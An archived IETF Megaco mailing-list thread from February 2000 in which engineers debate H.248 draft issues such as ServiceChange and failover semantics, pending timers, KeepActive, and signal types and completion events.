I'd have to wade through a lot of messages to figure out when we
decided that the MGC had to Subtract to keep state consistent
on a ServiceChange, but I remember it before V12.m  At any rate,
the MGC doesn't have to "figure out" the state of the MG, all it
has to do is Subtract the affected terminations.

The problem is this: if the MG, on it's own, disconnects the
terminations from the context, then the MG and the MGC don't
agree on state, and in particular, commands in progress get screwed up.
While the MG can return errors subsequent to failing the
connections, MG and MGC state is inconsistent.  If the MGC does
the subtract, then the state is always consistent.  One particular
issue is whether the whole context should be taken down, or just
the failed terminations.  The MGC knows what it wants to happen,
the MG does not.  There doesn't seem to be any problem in having the MGC
always be the one that does the subtract.

> >
> > If you cold-start an MG, it will come up in a known state, and
> > Restart to it's MGC, primary or secondary.  I think we can all
> > agree it does this.
>
> Yep, but what about warm-start ?
Define warm start - Restart of Root is equivalent to cold start
Handoff is a no-state-change thing
Failover is the same
>
> >
>
> > If the MG itself FORCES terminations out of service, then the MGC
> > has to do the subtract.  There is no ambiguity of state.  No
> > secondary MGC is involved.
> >
> > If the MGC FORCES terminations out of service, it must do the
> > subtract also, and there is no ambiguity of state.  No secondary
> > MGC is involved.
> >
> > Somehow, your problem statement gets into a Handoff, or Failover
> > case, where, for some reason, you posit a working primary MGC
> > getting one message, and a working secondary MGC getting
> another one.
> > On a failure of an MG, there is no change of MGC, so the restart
> > looks like an initial registration, and all the terminations
> > should be in a known state.
>
> Yes, they should, and that's the point. When you get a
> "restart", you know
> you are in well-known *clean* state.
Confusion on terminations going in and out of service and the
MG going in and out of service.

Restart applied to root is cold start; you are in a well-known
state.  You don't see Restart in failover/handoff, state is not
changed, new MGC must have state from some outside mechanism,
or Audit.
>
>
> >
> > On an MG initiated failover, the MG registers with the secondary
> > with Failover, not Restart.  The MGC could send Forced to
> > the primary, but the MG is considering it dead, and probably
> > wouldn't do it.  At any rate, failover DOES require an audit
> > by the secondary MGC as it should.
>
> Ah yes, but what happens when the MG sends "forced" to the
> MGC (MGC-A), and
> a little later it tries to register with MGC-A who meanwhile crashed.
> Consequently, MG goes through it's list of secondaries and
> finds MGC-B. Are
> you saying it no longer uses "restart" but "failover" ?
So this is a multiple error problem, the MG is dieing slowly.
First some of its terminations go belly up, then before it can
restart them, it loses its control association and has to
re-register itself, and on top of that, it's MGC died!  Poor MG,
the whole world is falling down!

I rather doubt this case is worth worrying about too much :)

> Regardless of what the answer is, it seems like there is a
> need for a state
> transition diagram for the MG and MGC in the text somewhere. It is not
> exactly clear what all these rules add up to, and there's clearly some
> underlying logic expected.
Not an unreasonable request, but not something I would hold up
ITU or IETF for.

> As for requiring an audit after failover, that seems rather
> strange to me.
> Since failover supposedly is transparent (don't loose any
> messages, right
> ?) why would you need that ? You can of course recommend it
> as good MGC
> practice if you think you don't have transparent failover,
> but I thought
> that was the intent of "disconnected".
Up to your implementation.  If your MGCs have a way to discover
the state of the MG without audit, terrific.  If they don't,
or even if they do, an Audit would be a good thing to check things
out.

> >
> >
> > On an MGC initiated failover, you use Handoff.  Again, the MGC knows
> > what the state is, but the secondary doesn't.  It must Audit, but
> > that is as it should be.
>
> Maybe it does, maybe it doesn't. That's MGC internals, right ?
Agreed, doesn't change the rules or the current text

> >
> >
> > There are no other cases of Forced or Restart that I know about.
> >
> > > Section:         7.2.8 (ServiceChange), numbered item six
> > > Category:     Editorial/Technial
> > > Issue no.:     14.7
> > > Issue:          The draft text for "Failover" specifies that
> > > "..., and sent
> > > from MG to (new) MGC in response to the MG having received a
> > > ServiceChange
> > > with ServiceChangeMethod equal to Handoff". It would seem
> to be more
> > > consistent if the MG sent a "Handoff" rather than a
> > > "Failover" to the (new)
> > > MGC in response to a handoff from the old MGC.
> > > Proposal:     It is proposed, that above text segment is
> > > moved from the
> > > "Failover" method to the "Handoff" method.
> > > Status:
> > I'm okay with this, although I think it's a nit
> >
> > >
> > > Section:         7.2.8 (ServiceChange), fifth last paragraph
> > > Category:     Technical, Editorial
> > > Issue no.:     14.8
> > > Issue:          The draft text specifies that "The MGC
> shall use this
> > > Addres, if specified, in its response to the ServiceChange
> > > command and any
> > > subequent commands and responses" and "The MG shall use this
> > > address for
> > > any subsequent communication with the MGC". While it makes
> > > sense to require
> > > commands to be sent to this address, it is generally not a
> > > good idea to
> > > require this for responses, e.g. for clustered systems.
> Furthermore,
> > > Section 9 (Transport) also specifies that "Responses to
> > > commands are sent
> > > back to the source address of the commands"
> > > Proposal:     It is strongly recommended, that commands will
> > > be sent to the
> > > address specified while responses will always be sent to the
> > > source address
> > > they came from.
> > > Status:
> > I agree with this.  The text is inconsistent, so something needs
> > to be changed.  Chip's proposal seems the most reasonable way
> > to resolve it
> >
> > >
> > > Section:         7.2.8 (ServiceChange), third last paragraph
> > > Category:     Editorial
> > > Issue no.:     12.25
> > > Issue:          The draft text specifies that "The
> > > ServiceChangeMethod
> > > shall be "forced" for this usage". This is inconsistent with the
> > > description in Section 11.2  which specified a
> ServiceChangeMethod of
> > > "Restart".
> > > Proposal:     It is recommended that the above text be
> > > modified to use a
> > > ServiceChangeMethod of "Restart" instead.
> > > Status:
> > >      v13: CLOSED. Text has been modified.
> > >
> > >
> > > Section:     7.2.8 (ServiceChange), last bullet list
> > > Category:     Technical
> > > Issue no.:     13.13
> > > Issue:          The draft text specifies that "Profile required if
> > > terminationID is not ROOT, optional otherwise". However there
> > > may not be a
> > > profile, in which case it makes little sense to require it.
> > > Secondly, it
> > > would seem to make more sense to require a profile when the
> > > terminationID
> > > in fact is ROOT as that would be the initial registration.
> > > Proposal:     It is proposed, that the text is changed in
> > > accordance with
> > > above.
> > > Status:
> > >      v14: OPEN. No relevant text changed.
> > How about: Profile is Required if the termination ID is ROOT,
> > and the entity supports a profile, optional otherwise.
> >
> > I agree the text is wrong, and some change is required.
> >
> > >
> > > >
> > > >
> > > >Section:        11.2  Category:       Technical  Issue:
> > >     When a
> > > >gateway starts, it generates a restart ServiceChange  to the
> > > MGC. If the
> > > >MGC's response to the ServiceChange is lost while a  later
> > > command is
> > > >received by the gateway, how this command is handled is  not
> > > specified in
> > > >the draft text.  Proposal:       It is recommended that the
> > > gateway will
> > > >return an error.
> > > >
> > > >v13 Status:     OPEN. No text changed.
> > > >
> > > >[[TomT]]  Agreed in principle.  This triggered thoughts
> of flooding
> > > >attacks where the attacker masquerades as the MGC which it
> > > is indirectly
> > > >trying to flood with error messages.  I suppose we're OK
> so long as
> > > >authentication failures are discarded silently.  Anyway,
> I'll add a
> > > >"clarification" to section 8.3 stating that the MG should
> > > respond with an
> > > >error to authenticated messages from MGCs with which the
> MG is not
> > > >currently associated.   It's not quite so simple for
> MGCs receiving
> > > >messages from strangers -- I guess the MGC has to look
> > > inside to determine
> > > >whether to accept them.
> > > v14: CLOSED. An error will be returned
> > > >
> > > >
> > > >Section:        11.2  Category:       Technical  Issue:
> > >     The draft
> > > >text specifies that "If the MGC accepts the MG,  it will send a
> > > >Transaction Accept, with the MGCIdToTry set to itself. If
> > > the MG receives
> > > >an MGCIDToTry not equal to the MGC it contacted, it send a
> > > ServiceChange
> > > >to the MGC specified in the MGCIdToTry". It is inconsistent
> > > to on one
> > > >hand accept the transaction as successful, yet on the other
> > > hand  require
> > > >the MG to examine the MGCIdToTry returned to determine if
> > > >the  registration really was successful or not.
> Examination of the
> > > >syntax  reveals that this is part of a larger problem where
> > > >unsuccessful  transactions, actions and commands are not
> > > able to return
> > > >any other  information than an ErrorDescriptor which can
> > > only contain an
> > > >error code  and text.  Proposal:       It is recommended
> > > that the above
> > > >procedure is replaced by  return of an error code and
> > > another MGCIdToTry
> > > >if the registration did not  complete. Furthermore, it is
> > > recommended that
> > > >ErrorDescriptors are extended  to allow return of other
> information
> > > >(essentially CommandReply) than only  an error code and text.
> > > >
> > > >v13 Status:     OPEN. No text changed  [[TomT]]  As I see
> > > it, redirection
> > > >is different from a transaction error.  The MGC processed
> > > the command
> > > >successfully, and the response contains useful information.
> > > An error
> > > >should be thought of as a situation where the responder
> > > reached a dead end
> > > >when it tried to comply with the request.  In general
> > > recovery from an
> > > >error is pretty basic: kill the call.  In special cases the
> > > error code and
> > > >context should give enough information for recovery.
> > > Not really. Think of SIP, HTTP, MGCP, etc. There are numerous
> > > return codes
> > > that have nothing to do with "errors" per se. In reality,
> > > these "error
> > > codes" are really "return codes" and maybe that's where the
> > > confusion arises.
> > I'm with Tom on this one, and I'll further point out you can't do
> > what Chip proposes since if you get an Error descriptor, you
> > won't get the Service descriptor with the MgcIdToTry!
>
> Yes, and as pointed out above, that's a fundamental problem
> that seems to
> have no motivation and certainly not be in line with current
> experience and
> practice.
I don't understand.  Are you saying that when you have an error,
you also expect to see normal responses?  I usually don't expect
such things.  Are you saying MGCP does that?  Could be.

It's NOT an error, it's a refusal to accept the MG for service.

Seems like you are arguing that it should be an error, and
despite the fact that it's an error, you should get the
Service Descriptor back in addition to the Error Descriptor.
That's a pretty big change, and I'd say unwarranted.

While we could have had "Error Codes" be interpretted as
"Return codes", and we could have had information necessary
to proceed contained in error messages, we didn't.  I can't see
changing that now, when the mechanism we have now works.

>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 14:15:07 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA06817
	for ; Fri, 4 Feb 2000 14:15:01 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.AF1DE220@standards.nortelnetworks.com>; Fri, 4 Feb 2000 14:11:09 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24847 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 14:09:12 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.03AAD9D0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 13:59:12
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id OAA18122; Fri, 4 Feb
          2000 14:01:21 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id OAA03233; Fri, 4 Feb
          2000 14:01:25 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTRMJ>; Fri, 4 Feb 2000 13:58:09 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6F41.C692268C"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208895@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 14:01:22 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Transaction ID uniqueness
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6F41.C692268C
Content-Type: text/plain;
        charset="iso-8859-1"

MGC                MG
Request ->


        x-     Pending (now switches to a longer timer)

[br]Who has the longer timer?  The requestor, yes, the responder, no
(lost, so MGC sticks w. normal timer)

(timeout)
Request ->     (ignore since transaction is currently executing)
(timeout))
Request ->     (ignore since transaction is currently executing)
(timeout)
Request ->     (ignore since transaction is currently executing)
...
       <- Final
(finally)

[br]I think that you get a pend within the normal response.  If you lose the
pend, you generate one extra request duplicate, but the longer timer isn't
going to be twice normal time; you simply want to avoid the case of the pend
timer and the normal response timer being the same value and causing extra
messages when the requests/responses pass each other on the net.  If ALL the
pends are lost, you would see the above, but you would only get one extra if
only the first were lost.



Brian


------_=_NextPart_001_01BF6F41.C692268C
Content-Type: text/html;
        charset="iso-8859-1"










  
MGC               
  MG 
Request ->
  
       
  x-     Pending (now switches to a longer
  timer)  

  
[br]Who has the longer timer?  The requestor, yes, the
  responder, no 
(lost, so MGC sticks w. normal timer) 

  
(timeout) 
Request ->     (ignore since
  transaction is currently executing) 
(timeout)) 
Request ->     (ignore since
  transaction is currently executing) 
(timeout) 
Request ->     (ignore since
  transaction is currently executing) 
... 
       <-
  Final 
(finally)  

  
[br]I think that you get a pend within the
  normal response.  If you lose the
  pend, you generate one extra request
  duplicate, but the longer timer isn't going to be twice normal
  time; you simply want to avoid the case of the pend timer and the normal response
  timer being the same value and causing extra
  messages when the requests/responses pass each other on the
  net.  If ALL the pends are lost, you would see the
  above, but you would only get one extra if only the first were lost.  

  
 
    
Brian


------_=_NextPart_001_01BF6F41.C692268C--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 14:15:12 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA06819
	for ; Fri, 4 Feb 2000 14:15:07 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.AF8DE200@standards.nortelnetworks.com>; Fri, 4 Feb 2000 14:11:10 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24915 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 14:09:52 -0500
Received: from mtiwmhc09.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.80F5C840@standards.nortelnetworks.com>; Fri, 4 Feb 2000 14:09:51
          -0500
Received: from worldnet.att.net ([12.78.109.48]) by mtiwmhc09.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000204191152.ILOD7433@worldnet.att.net>; Fri, 4 Feb 2000 19:11:52
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF208892@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <389B244A.4C97F22F@worldnet.att.net>
Date:         Fri, 4 Feb 2000 14:11:07 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Keep Active
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi Brian

Some comments below

Regards

            Flemming

"Rosen, Brian" wrote:

> We have just had a discussion on this issue, and I believe it
> addresses it: digitmaps on dtmf optimizes reporting
> of dtmf detection, but is otherwise the same as individual dtmf
> events being enabled.  By that definition, KeepActive works the
> way you wanted it; without it, signals stop with first detected
> digit.  With it, signals continue while digits are detected.
> So your IVR app would specify KeepActive on the digitmap completion
> event, and use an embedded signal to turn it off if you wanted to.
> The old mechanism doesn't work any differently; if you had specified
> keepactive on the digits, whether or not they were accumulate by
> digitmap actions, you still would not be able to treat the initial
> digit differently from the terminating digit.  The only way you
> could make this better would be to have the digitmap completion
> event entirely separate from the dtmf detection events, so you
> could have KeepActive separately on the digits from the completion.
> I think embedded signals is a better answer, but I'm on record as
> thinking that digitmaps should be a package and not a basic
> protocol.
>
> I'll deal with any problems we still have with the current text,
> but a "everything changed" complaint without a problem is a no-op.

I beg to differ. A change without a problem is counterproductive and what
gets into these situations. We had something perfectly fine after the Red
Bank meeting which for some reason was changed. Exactly *what* was the
problem that prompted this massive change (I'll spare you the ITU-T
procedural arguments here). If there were no compelling reasons, then I
suggest that the text is simply brought back in line with the agreement from
Red Bank, and then we can close this (big) one and move along.

If you really want to, we can start a debate about the relative merits,
trade-offs, and shortcomings of one scheme versus the other. A couple of
topics off the top of my head
- Reduced number of messages and resultant reduced load on network and
entities
- Effective event arrival rate not limited by MGC-MG round-trip time
- Support for scripting



>
>
> brian
>
> > -----Original Message-----
> > From: Chip Sharp [mailto:chsharp@cisco.com]
> > Sent: Friday, February 04, 2000 12:12 AM
> > To: MEGACO@standards.nortelnetworks.com
> > Subject: Re: Cisco SG16: Keep Active
> >
> >
> > At 03:22 PM 2/3/00 -0500, Tom-PT Taylor wrote:
> > >
> > >
> > >I think the primary need here is for clarifying text in
> > section 7.1.14
> > >indicating that events mapped into a digit map do not generate
> > >notifications, but do terminate ongoing signals unless the
> > KeepActive flag
> > >is set.
> > Not really. The fundamental problem is the complete rework of
> > the agreed
> > upon event handling mechanism that for some reason was done
> > after the Red
> > Bank meeting.
> >
> > >
> > >-----Original Message-----  From:  Chip Sharp
> > >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 7:43
> > >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
> >   Cisco SG16:
> > >Keep Active
> > >
> > >Section:        7.1.9, "Event Actions"
> > >table  Category:       Technical  Issue:          The draft
> > text specifies
> > >that "KeepActive:      As Notify, but  production of signals
> > continues (if
> > >any signals were active)".The above  definition is overly
> > restrictive in
> > >that it prevents events from being  accumulated (either with
> > or without
> > >digit map) and at the same time keeping  a signal active.
> > For example an
> > >IVR application accumulating a string of  user input and playing an
> > >announcement until the entire string is  accumulated cannot
> > be supported
> > >with the above behaviour.  Proposal:       It is recommended, that
> > >"KeepActive" does not generate a "Notify"  and that it
> > becomes possible to
> > >specify multiple actions such that  "KeepActive" can be
> > combined with,
> > >e.g. "Notify" or "AccumulateByDigitMap"  depending on the particular
> > >application.
> > >
> > >v13 Status:     OPEN. Event actions table has been removed and
> > >extensive  modification of entire event processing taken place.
> > >
> > >Section:        7.1.9  Category:       Technical  Issue:          The
> > >draft text specifies that "When KeepActive is specified as the  event
> > >action, the media gateway shall send a Notify message to the
> >  controller
> > >upon detection of the event. Furthermore, the controller shall  not
> > >interrupt any signals active on the Termination on which the event
> > >is  detected" The above definition is overly restrictive in that it
> > >prevents  events from being accumulated (either with or
> > without digit map)
> > >and at the  same time keeping a signal active. For example an IVR
> > >application  accumulating a string of user input and playing an
> > >announcement until the  entire string is accumulated cannot
> > be supported
> > >with the above behaviour.  Proposal:       It is recommended, that
> > >"KeepActive" does not generate a "Notify"  and that it
> > becomes possible to
> > >specify multiple actions such that  "KeepActive" can be
> > combined with,
> > >e.g. "Notify" or "AccumulateByDigitMap"  depending on the particular
> > >application.
> > >
> > >v13 Status:     OPEN. Extensive modifications of event handling has
> > >taken  place. Events now always reported immediately on detection.
> >
> > Support NetAid!  http://www.netaid.org
> > --------------------------------------------------
> > Chip Sharp                 Consulting Engineering
> > Cisco Systems              Telco Bio-region
> > Reality - Love it or Leave it.
> > --------------------------------------------------
> >

--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 14:30:37 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA07168
	for ; Fri, 4 Feb 2000 14:30:36 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.CC6451F0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 14:26:17 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24962 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 14:25:15 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.3EDDA850@standards.nortelnetworks.com>; Fri, 4 Feb 2000 14:15:10
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id OAA19900; Fri, 4 Feb
          2000 14:17:12 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id OAA07071; Fri, 4 Feb
          2000 14:17:16 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTRV5>; Fri, 4 Feb 2000 14:14:00 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208896@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 14:17:13 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Chip Sharp 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Comments below

> -----Original Message-----
> From: Chip Sharp [mailto:chsharp@cisco.com]
> Sent: Friday, February 04, 2000 12:05 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Re: Cisco SG16: Signals Operation
>
>
> At 08:17 PM 2/2/00 -0500, Tom-PT Taylor wrote:
> >
> >
> >I have every sympathy with your first point -- I couldn't resist the
> >temptation to propose a new definition of BR.  The fact is,
> the way things
> >currently stand, we could abolish the signal type parameter
> and it would
> >make no difference to the operation of the protocol.  I
> suppose we would
> >have to define an "infinite" duration to simulate on/off as
> currently
> >defined, but even that might not be necessary.
> >
> >Speaking as chair, I suppose I have to say that the null
> hypothesis is
> >that we stick with our current text.  We have two other alternatives:
> >
> >(a) New distinctive definitions for BR, TO, OO, with the
> understanding
> >that the definition of a given signal indicates its default
> type, but that
> >type can always be overridden by the type parameter.
> >
> >  - BR duration is assumed to be known to the MG without
> explicit MGC
> > input.  BR signals can be stopped by detection of events
> without the
> > KeepActive parameter or by replacement of the current
> signal descriptor
> > with one not containing the indicated signal.
> I would suggest they cannot be interrupted by events. If not, there's
> little reason for having them as well as TO signals.
It's okay with me

> >
> >
> >  - TO duration is given explicitly by the duration
> parameter.  A default
> > may be provisioned or defined in the package.  TO signals
> can be stopped
> > by detection of events without the KeepActive parameter or
> by replacement
> > of the current signal descriptor with one not containing
> the indicated signal.
> >
> >  - OO signals remain active until a signal descriptor with explicit
> > turn-off syntax comes into effect (Chip's proposal).
> Sounds good.
What is the syntax?  Would a parameter do, or do we have to actually have a
keyword?  Is there a default?  I propose that we
have keywords. Signals{VMButton{ON}}
this makes:
sigParameter       = sigStream / sigSignalType / sigDuration /
                sigOnOFF / sigOther / NotifyCompletion
(last element is in debate at the moment)
sigOnOff           = OnToken / OffToken

What happens with signal lists?

> >
> >
> >(b) Abolish signal type.
> >
> >If I see a sudden rush to agreement on something other than
> the existing
> >text I'll feed it into Geneva.  Otherwise things stay put
> and we can try
> >again for H.248v2 -- the protocol works as is.
> I doubt it. This is such a fundamental property of the
> protocol that it is
> highly unlikely you would be able it in v2, not least considering the
> backwards compatibility restricion on package extensions. I
> would suggest
> doing it right the first time around.
>
> Issue update and additions follow below.
> >
> >
> >Comments to the other points follow them.
> >-----Original Message-----  From:  Chip Sharp
> >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 7:59
> >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
>  Cisco SG16:
> >Signals Operation
>
> Section:         7.1.1, second paragraph, last paragraph
> Category:     Technical
> Issue no.:     14.2
> Issue:          The draft text specifies that "Finally, there is an
> optional "notifyCompletion" that allows a MGC to request
> being notified of
> completion of the signal. The value of thi sparameter is a
> RequestIdentifier, allowing the MGC to correlate the Notify with the
> corresponding signal" and furthermore that "If the MGC requested
> notification of completion for a signal, a Notify command
> SHALL be sent by
> the MG upon completion of that signal. A Notify triggered by
> completion of
> a signal SHALL NOT affect the state of the eventbuffer or any
> active events
> descriptor". There is already a mechanism in the protocol
> that supports
> this functionality, namely events. By using the event
> mechanism instead,
> the duplication of functionality is avoided, and event
> ordering between
> "events" and completed signals become trivial - currently they are an
> unsolved issue. Furthermore, it is unclear how this behavior
> interacts with
> the EventBuffer mechanism. For example, if an event has been
> notified,
> "EventBuffer" is on, and the signal now completes, it seems
> inconsistent to
> issue another Notify specific to the signal.
> Proposal:     It is strongly suggested, that
> "notifyCompletion" is replaced
> by having the completion of the signal generating an event
> (e.g. "signal
> complete") instead (notification of which may or may not have been
> requested). Furthermore, to account for signal failure, there
> should be a
> "signal failure" event as well.
> Status:
I have argued this precise point, and believe that there should only
be ONE way to get an event armed and triggered.  I agree that it
should be an event.  I specifically proposed that a signal complete
event be defined that has a parameter which is the list of signals
that it applies to, but it occurs to me that a compromise is to
leave the parameter in Signals Descriptor as being a "this is one
of the signals that the signal complete event applies to", and then
the signals complete event has no input parameter, but has an output
parameter that specifies which signal completed.

> >    Section:        7.1.10, fourth paragraph, first
> > bullet.  Category:       Technical, Open Issue  Issue:
>     The draft
> > text defines on/off signals "the signal lasts until it is
> turned off",
> > however this definition is not clear. Specifically, it is
> not  clear if
> > an on/off signal is turned off by not being included in a
> subsequent
> > SignalsDescriptor or if it is turned off by some explicit
> action. In the
> > latter case, syntax is missing leading one to believe that
> the former
> > definition is intended. The former definition on the other hand  is
> > somewhat problematic and overlaps the definition of time-out
> > signals  with an indefinite duration. Consider for instance
> a "visual
> > message  waiting indicator" defined as an on/off signal. Unless the
> > signal is  included in all subsequent SignalsDescritpors,
> the indicator
> > will be turned  off. The on/off signal type would be more
> useful (and not
> > a duplicate of  timeout) if this was not the case.  Also,
> it should be
> > noted, that the more general topic of signal types and  the
> details of
> > their operation has been the subject of much debate on the
> IETF Megaco
> > mailing list since the white contribution was developed,
> and  that at
> > time of writing, no resolution had been found.
> >
> >Proposal:       It is recommended that the definition of on/off is
> >clarified in  accordance with the above and the missing syntax added.
> >
> >
> >v13 Status:     OPEN. No substantial change has been made.
>
> v14: OPEN. No relevant text changed.
> >
> >
> >Section:        7.1.10, fourth paragraph, second
> >bullet  Category:       Technical  Issue:          The draft
> text defines
> >timeout signals as "the signal lasts until  it is turned off
> or a specific
> >period of time elapses", however there is no  mechanism
> specified for
> >informing the MGC when that specific period of time  has
> elapsed and thus
> >the signal has ended. The MGC may therefore be unable  to
> determine if a
> >given signal is playing in an MG or not. An example where
> this is needed
> >is outpulsing with MF Feature Group D trunks where multiple
> digit strings
> >(address and caller id) need to be outpulsed. MGC needs to
> know when
> >outpulsing of the first string of digits has occurred before
>  requesting
> >out-pulsing of the next string.). Another example is a
> signal  activated
> >through an external event such as user input (by use of an  embedded
> >signals descriptor).
> >
> >Proposal:       It is strongly recommended that a mechanism
> for notifying
> >the MGC  upon timeout signal completion is added, e.g. in
> the form of an
> >event  ("operation complete"). Furthermore, it should be
> considered to add
> >another  event that would allow the MGC to be informed if
> generation of
> >the signal  fails for some reason (e.g. "operation
> failure"). It should be
> >noted, that  this may happen in the middle of the signals
> defined duration.
> >
> >v13 Status:     OPEN. No substantial change has been made.
> >
> >[[TomT]]  v14 adds the notifyCompletion parameter for every
> signal and
> >text on how completions are notified in section 7.2.7.  For
> failures we
> >have that generic failure event in E.1, but no text on how
> to apply it or
> >what request ID to use for it.
>
> v14:    DISAGREE (see issue 14.2). A mechanism has been added.
I'd say that the mechanism proposed, or the V14 mechanism does
address the completion part.  The error part is V2; should it be
an event, or just an error?  How should the error be reported?


>
> Section:         7.1.17
> Category:     Technical
> Issue no.:     14.3
> Issue:          The draft text specifies that "If a Notify is
> sent as a
> result of a signal completion, the ObservedEventsDescriptor
> contains the
> name of the signal that completed and the time at which it
> completed". Cf.
> issue 14.2, this behavior is undesirable and should be
> replaced with an
> event instead thereby eliminating the need for specifying
> this special case.
> Proposal: Assuming the proposed resolution to issue 14.2 is
> accepted, it is
> proposed that the above sentence is deleted.
> Status:
Since I agree that the mechanism should be an event, I agree
with this

> Section:         7.2.8 (Notify), last three paragraphs
> Category:     Technical
> Issue no.:      14.5
> Issue:          The draft text specifies that "..., or as a result of
> completion of a signal for which the MGC requested notification of
> completion", and "...or the triggering SignalsDescriptor", as
> finally "A
> Notify triggered by completion of a signal, contains the
> corresponding
> signal name in the ObservedEventsDescriptor". However, as
> argued in issue
> 14.2, this behavior is a special case that is inconsistent
> with the general
> event handling mechanism, incl. Notifications. If signal
> completion was not
> designed as a special case (which there is no reason to),
> this special case
> handling would not be necessary.
> Proposal: Assuming the proposed solution to issue 14.2 is
> accepted, it is
> proposed to remove all of the above text segments.
> Status:
Ditto

> >
> >
> >Section:                12.1.4  Category:       Technical, Open
> >Issue  Issue:          The draft text mentions SignalType CN
> (Continue),
> >however this  SignalType is not defined in Section 7.1.10 on Signals
> >Descriptor.  Also, it should be noted, that the more general
> topic of
> >signal types and  the details of their operation has been
> the subject of
> >much debate on the  IETF Megaco mailing list since the white
> contribution
> >was developed, and  that at time of writing, no resolution had been
> >found.  Proposal:       It is proposed that SignalType CN is
> removed from
> >the text.
> >
> >v13 Status:     OPEN. No text changed.
> >
> >[[TomT]]  Done.
> v14. CLOSED. SignalType CN has been removed.
> >    Section:        12.1.4  Category:       Technical, Open
> > Issue  Issue:          The draft text specifies that
> "Signals that would
> > be played with  SignalType BR should have a default
> duration"  Again, it
> > should be noted, that the more general topic of signal
> types and  the
> > details of their operation has been the subject of much debate on
> > the  IETF Megaco mailing list since the white contribution
> was developed,
> > and  that at time of writing, no resolution had been
> > found.  Proposal:       It is proposed that similar text is
> added as for
> > signals of  SignalType TO.
> >
> >v13 Status:     OPEN. No text changed.  [[TomT]]  See
> initial comments to
> >this message.
> v14: OPEN. No text changed.
> Support NetAid!  http://www.netaid.org
